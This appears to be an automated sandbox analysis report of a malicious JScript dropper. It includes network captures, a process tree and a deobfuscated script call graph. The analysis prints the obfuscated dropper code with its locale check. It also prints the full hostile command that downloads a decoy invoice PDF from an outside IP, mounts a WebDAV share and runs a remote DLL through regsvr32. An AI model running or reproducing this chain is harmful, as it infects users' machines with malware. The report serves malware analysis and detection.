Jan 10, 2025 20:35:07.115374088 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:35:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:35:07.115391970 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:35:07.115402937 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:35:07.115483999 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:35:07.115506887 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 20:35:07.115546942 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 20:35:07.115571022 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 20:35:07.115581036 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 20:35:07.115587950 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 20:35:07.115593910 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 20:35:07.120367050 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	8188	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:35:08.858148098 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:35:09.690926075 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:35:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:35:02
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js"
Imagebase:	0x7ff7c2b00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:35:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Imagebase:	0x7ff7f30d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:35:03
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:35:03
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:35:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:35:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f30d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:35:07
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff692b50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:35:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:35:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:35:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1576,i,16076830456846733305,14261767884181215258,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hglxdnj() {	hglxdnj() ➔ undefined
1	axxnqcg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var csdvsaqfe = this[uwtvabbgv + xbtdju + cbivfu + tzljiigi + mltxyefk + djsdk + ngkhp + iobig] ( this[xavtdzwq + tiitx + ibrswt + cbivfu + hndmeqvm + uwtvabbgv + iobig][pipcppoh + cbivfu + mltxyefk + xbtdju + iobig + mltxyefk + fycyv + xaccq + agbwn + mltxyefk + ibrswt + iobig] ( xavtdzwq + tiitx + ibrswt + cbivfu + hndmeqvm + uwtvabbgv + iobig + csxihre + tiitx + dgwutre + mltxyefk + tniucpk + tniucpk ) [mjodgln + mltxyefk + flzol + mjodgln + mltxyefk + xbtdju + siwlkms] ( yfhsdusg + aikrggyg + yufmyqpha + xrnrguth + ajpbxalof + pipcppoh + pmvqpif + mjodgln + mjodgln + yufmyqpha + mqmknttq + rfzbukhyt + ajpbxalof + pmvqpif + tiitx + yufmyqpha + mjodgln + cutqb + pipcppoh + uktqsjaho + ngkhp + iobig + cbivfu + uktqsjaho + tniucpk + kfpsq + dtnaxk + xbtdju + ngkhp + mltxyefk + tniucpk + cutqb + djsdk + ngkhp + iobig + mltxyefk + cbivfu + ngkhp + xbtdju + iobig + hndmeqvm + uktqsjaho + ngkhp + xbtdju + tniucpk + cutqb + hscpp + uktqsjaho + ibrswt + xbtdju + tniucpk + mltxyefk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tmkfgcmq = 0 ; tmkfgcmq < axxnqcg[tniucpk + mltxyefk + ngkhp + flzol + iobig + dgwutre] ; ++ tmkfgcmq )
4	{
5	if ( csdvsaqfe == axxnqcg[tmkfgcmq] )
6	{
7	csdvsaqfe = true;
8	break ;
9	}
10	}
11	if ( csdvsaqfe !== true )
12	this[xavtdzwq + tiitx + ibrswt + cbivfu + hndmeqvm + uwtvabbgv + iobig][dfjwoamy + vdhsyb + hndmeqvm + iobig] ( );
13	this[xavtdzwq + tiitx + ibrswt + cbivfu + hndmeqvm + uwtvabbgv + iobig][pipcppoh + cbivfu + mltxyefk + xbtdju + iobig + mltxyefk + fycyv + xaccq + agbwn + mltxyefk + ibrswt + iobig] ( xavtdzwq + tiitx + ibrswt + cbivfu + hndmeqvm + uwtvabbgv + iobig + csxihre + tiitx + dgwutre + mltxyefk + tniucpk + tniucpk ) [cbivfu + vdhsyb + ngkhp] ( ibrswt + pjgwkgeve + siwlkms + kfpsq + umgqtc + ibrswt + kfpsq + uwtvabbgv + uktqsjaho + ahuhigdi + mltxyefk + cbivfu + tzljiigi + dgwutre + mltxyefk + tniucpk + tniucpk + csxihre + mltxyefk + jzdlhotek + mltxyefk + kfpsq + ecgdmgwme + pipcppoh + uktqsjaho + pjgwkgeve + pjgwkgeve + xbtdju + ngkhp + siwlkms + kfpsq + drqopjicf + djsdk + ngkhp + wuvwvnkge + uktqsjaho + usarjbxd + mltxyefk + ecgdmgwme + xavtdzwq + mltxyefk + xaccq + mjodgln + mltxyefk + sztkgpxe + vdhsyb + mltxyefk + tzljiigi + iobig + kfpsq + ecgdmgwme + fycyv + vdhsyb + iobig + jenrywobv + hndmeqvm + tniucpk + mltxyefk + kfpsq + hhdvpuprq + iobig + mltxyefk + pjgwkgeve + uwtvabbgv + hhdvpuprq + cutqb + hndmeqvm + ngkhp + wuvwvnkge + uktqsjaho + hndmeqvm + ibrswt + mltxyefk + csxihre + uwtvabbgv + siwlkms + wyhnvbrwk + kfpsq + dgwutre + iobig + iobig + uwtvabbgv + llzvxqwji + umgqtc + umgqtc + pnszbyzcr + xcwpjh + ylgxgxuto + csxihre + pnszbyzcr + bsgckern + ylgxgxuto + csxihre + pnszbyzcr + csxihre + tnrrkkowi + swbilvya + mcbalbeke + umgqtc + hndmeqvm + ngkhp + wuvwvnkge + uktqsjaho + hndmeqvm + ibrswt + mltxyefk + csxihre + uwtvabbgv + dgwutre + uwtvabbgv + drqopjicf + lbzgo + lbzgo + tzljiigi + iobig + xbtdju + cbivfu + iobig + kfpsq + hhdvpuprq + iobig + mltxyefk + pjgwkgeve + uwtvabbgv + hhdvpuprq + cutqb + hndmeqvm + ngkhp + wuvwvnkge + uktqsjaho + hndmeqvm + ibrswt + mltxyefk + csxihre + uwtvabbgv + siwlkms + wyhnvbrwk + lbzgo + lbzgo + ibrswt + pjgwkgeve + siwlkms + kfpsq + umgqtc + ibrswt + kfpsq + ngkhp + mltxyefk + iobig + kfpsq + vdhsyb + tzljiigi + mltxyefk + kfpsq + cutqb + cutqb + pnszbyzcr + xcwpjh + ylgxgxuto + csxihre + pnszbyzcr + bsgckern + ylgxgxuto + csxihre + pnszbyzcr + csxihre + tnrrkkowi + swbilvya + mcbalbeke + lkjgcshr + iefvbvabv + iefvbvabv + iefvbvabv + iefvbvabv + cutqb + siwlkms + xbtdju + wuvwvnkge + ahuhigdi + ahuhigdi + ahuhigdi + cbivfu + uktqsjaho + uktqsjaho + iobig + cutqb + lbzgo + lbzgo + ibrswt + pjgwkgeve + siwlkms + kfpsq + umgqtc + ibrswt + kfpsq + cbivfu + mltxyefk + flzol + tzljiigi + wuvwvnkge + cbivfu + ylgxgxuto + tnrrkkowi + kfpsq + umgqtc + tzljiigi + kfpsq + cutqb + cutqb + pnszbyzcr + xcwpjh + ylgxgxuto + csxihre + pnszbyzcr + bsgckern + ylgxgxuto + csxihre + pnszbyzcr + csxihre + tnrrkkowi + swbilvya + mcbalbeke + lkjgcshr + iefvbvabv + iefvbvabv + iefvbvabv + iefvbvabv + cutqb + siwlkms + xbtdju + wuvwvnkge + ahuhigdi + ahuhigdi + ahuhigdi + cbivfu + uktqsjaho + uktqsjaho + iobig + cutqb + pnszbyzcr + finuv + iefvbvabv + xcwpjh + swbilvya + pnszbyzcr + tnrrkkowi + tnrrkkowi + iefvbvabv + bsgckern + ylgxgxuto + tnrrkkowi + pnszbyzcr + ylgxgxuto + csxihre + siwlkms + tniucpk + tniucpk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll",0,false) ➔ 0
14	}
15	mcbalbeke = "l";
16	mcbalbeke = "5";
17	uktqsjaho = "T";
18	uktqsjaho = "j";
19	uktqsjaho = "v";
20	uktqsjaho = "N";
21	uktqsjaho = "k";
22	uktqsjaho = "r";
23	uktqsjaho = "Y";
24	uktqsjaho = "C";
25	uktqsjaho = "J";
26	uktqsjaho = "M";
27	uktqsjaho = "V";
28	uktqsjaho = "H";
29	uktqsjaho = "D";
30	uktqsjaho = "R";
31	uktqsjaho = "l";
32	uktqsjaho = "W";
33	uktqsjaho = "R";
34	uktqsjaho = "V";
35	uktqsjaho = "X";
36	uktqsjaho = "O";
37	uktqsjaho = "B";
38	uktqsjaho = "a";
39	uktqsjaho = "D";
40	uktqsjaho = "o";
41	iefvbvabv = "P";
42	iefvbvabv = "g";
43	iefvbvabv = "Z";
44	iefvbvabv = "Q";
45	iefvbvabv = "A";
46	iefvbvabv = "Y";
47	iefvbvabv = "m";
48	iefvbvabv = "z";
49	iefvbvabv = "G";
50	iefvbvabv = "c";
51	iefvbvabv = "E";
52	iefvbvabv = "Y";
53	iefvbvabv = "k";
54	iefvbvabv = "e";
55	iefvbvabv = "l";
56	iefvbvabv = "Y";
57	iefvbvabv = "w";
58	iefvbvabv = "q";
59	iefvbvabv = "n";
60	iefvbvabv = "h";
61	iefvbvabv = "M";
62	iefvbvabv = "w";
63	iefvbvabv = "K";
64	iefvbvabv = "B";
65	iefvbvabv = "s";
66	iefvbvabv = "w";
67	iefvbvabv = "D";
68	iefvbvabv = "J";
69	iefvbvabv = "8";
70	ngkhp = "e";
71	ngkhp = "c";
72	ngkhp = "l";
73	ngkhp = "g";
74	ngkhp = "A";
75	ngkhp = "b";
76	ngkhp = "W";
77	ngkhp = "i";
78	ngkhp = "g";
79	ngkhp = "v";
80	ngkhp = "t";
81	ngkhp = "T";
82	ngkhp = "G";
83	ngkhp = "N";
84	ngkhp = "O";
85	ngkhp = "K";
86	ngkhp = "z";
87	ngkhp = "V";
88	ngkhp = "F";
89	ngkhp = "I";
90	ngkhp = "q";
91	ngkhp = "o";
92	ngkhp = "S";
93	ngkhp = "r";
94	ngkhp = "U";
95	ngkhp = "n";
96	hscpp = "u";
97	hscpp = "f";
98	hscpp = "k";
99	hscpp = "f";
100	hscpp = "M";
101	hscpp = "k";
102	hscpp = "z";
103	hscpp = "c";
104	hscpp = "z";
105	hscpp = "r";
106	hscpp = "l";
107	hscpp = "I";
108	hscpp = "d";
109	hscpp = "g";
110	hscpp = "s";
111	hscpp = "F";
112	hscpp = "u";
113	hscpp = "L";
114	hscpp = "I";
115	hscpp = "z";
116	hscpp = "R";
117	hscpp = "P";
118	hscpp = "j";
119	hscpp = "o";
120	hscpp = "A";
121	hscpp = "L";
122	bsgckern = "T";
123	bsgckern = "D";
124	bsgckern = "K";
125	bsgckern = "4";
126	cutqb = "K";
127	cutqb = "p";
128	cutqb = "i";
129	cutqb = "f";
130	cutqb = "z";
131	cutqb = "\\";
132	ylgxgxuto = "l";
133	ylgxgxuto = "M";
134	ylgxgxuto = "J";
135	ylgxgxuto = "B";
136	ylgxgxuto = "O";
137	ylgxgxuto = "w";
138	ylgxgxuto = "b";
139	ylgxgxuto = "v";
140	ylgxgxuto = "k";
141	ylgxgxuto = "x";
142	ylgxgxuto = "y";
143	ylgxgxuto = "A";
144	ylgxgxuto = "L";
145	ylgxgxuto = "d";
146	ylgxgxuto = "M";
147	ylgxgxuto = "m";
148	ylgxgxuto = "U";
149	ylgxgxuto = "i";
150	ylgxgxuto = "k";
151	ylgxgxuto = "c";
152	ylgxgxuto = "O";
153	ylgxgxuto = "v";
154	ylgxgxuto = "u";
155	ylgxgxuto = "k";
156	ylgxgxuto = "f";
157	ylgxgxuto = "R";
158	ylgxgxuto = "T";
159	ylgxgxuto = "Y";
160	ylgxgxuto = "g";
161	ylgxgxuto = "k";
162	ylgxgxuto = "m";
163	ylgxgxuto = "u";
164	ylgxgxuto = "p";
165	ylgxgxuto = "3";
166	dtnaxk = "o";
167	dtnaxk = "H";
168	dtnaxk = "y";
169	dtnaxk = "P";
170	pipcppoh = "S";
171	pipcppoh = "x";
172	pipcppoh = "z";
173	pipcppoh = "d";
174	pipcppoh = "m";
175	pipcppoh = "V";
176	pipcppoh = "Y";
177	pipcppoh = "P";
178	pipcppoh = "c";
179	pipcppoh = "T";
180	pipcppoh = "C";
181	pipcppoh = "o";
182	pipcppoh = "K";
183	pipcppoh = "P";
184	pipcppoh = "j";
185	pipcppoh = "y";
186	pipcppoh = "o";
187	pipcppoh = "P";
188	pipcppoh = "K";
189	pipcppoh = "i";
190	pipcppoh = "J";
191	pipcppoh = "L";
192	pipcppoh = "j";
193	pipcppoh = "L";
194	pipcppoh = "b";
195	pipcppoh = "s";
196	pipcppoh = "c";
197	pipcppoh = "j";
198	pipcppoh = "C";
199	pipcppoh = "K";
200	pipcppoh = "K";
201	pipcppoh = "C";
202	pipcppoh = "n";
203	pipcppoh = "C";
204	csxihre = "P";
205	csxihre = "M";
206	csxihre = "r";
207	csxihre = "w";
208	csxihre = "A";
209	csxihre = "y";
210	csxihre = "W";
211	csxihre = "A";
212	csxihre = "z";
213	csxihre = "y";
214	csxihre = "a";
215	csxihre = "M";
216	csxihre = "I";
217	csxihre = "k";
218	csxihre = "J";
219	csxihre = "K";
220	csxihre = "D";
221	csxihre = "u";
222	csxihre = "D";
223	csxihre = "U";
224	csxihre = ".";
225	djsdk = "X";
226	djsdk = "N";
227	djsdk = "u";
228	djsdk = "f";
229	djsdk = "y";
230	djsdk = "Y";
231	djsdk = "s";
232	djsdk = "r";
233	djsdk = "D";
234	djsdk = "g";
235	djsdk = "c";
236	djsdk = "K";
237	djsdk = "N";
238	djsdk = "X";
239	djsdk = "X";
240	djsdk = "a";
241	djsdk = "G";
242	djsdk = "o";
243	djsdk = "g";
244	djsdk = "p";
245	djsdk = "w";
246	djsdk = "q";
247	djsdk = "T";
248	djsdk = "x";
249	djsdk = "l";
250	djsdk = "f";
251	djsdk = "Q";
252	djsdk = "t";
253	djsdk = "w";
254	djsdk = "Y";
255	djsdk = "X";
256	djsdk = "c";
257	djsdk = "c";
258	djsdk = "y";
259	djsdk = "p";
260	djsdk = "t";
261	djsdk = "r";
262	djsdk = "c";
263	djsdk = "U";
264	djsdk = "P";
265	djsdk = "f";
266	djsdk = "d";
267	djsdk = "I";
268	tzljiigi = "o";
269	tzljiigi = "M";
270	tzljiigi = "s";
271	usarjbxd = "W";
272	usarjbxd = "c";
273	usarjbxd = "C";
274	usarjbxd = "a";
275	usarjbxd = "Z";
276	usarjbxd = "g";
277	usarjbxd = "r";
278	usarjbxd = "C";
279	usarjbxd = "k";
280	jenrywobv = "E";
281	jenrywobv = "g";
282	jenrywobv = "v";
283	jenrywobv = "c";
284	jenrywobv = "W";
285	jenrywobv = "E";
286	jenrywobv = "j";
287	jenrywobv = "Y";
288	jenrywobv = "X";
289	jenrywobv = "n";
290	jenrywobv = "q";
291	jenrywobv = "p";
292	jenrywobv = "o";
293	jenrywobv = "K";
294	jenrywobv = "M";
295	jenrywobv = "t";
296	jenrywobv = "D";
297	jenrywobv = "P";
298	jenrywobv = "u";
299	jenrywobv = "K";
300	jenrywobv = "V";
301	jenrywobv = "r";
302	jenrywobv = "f";
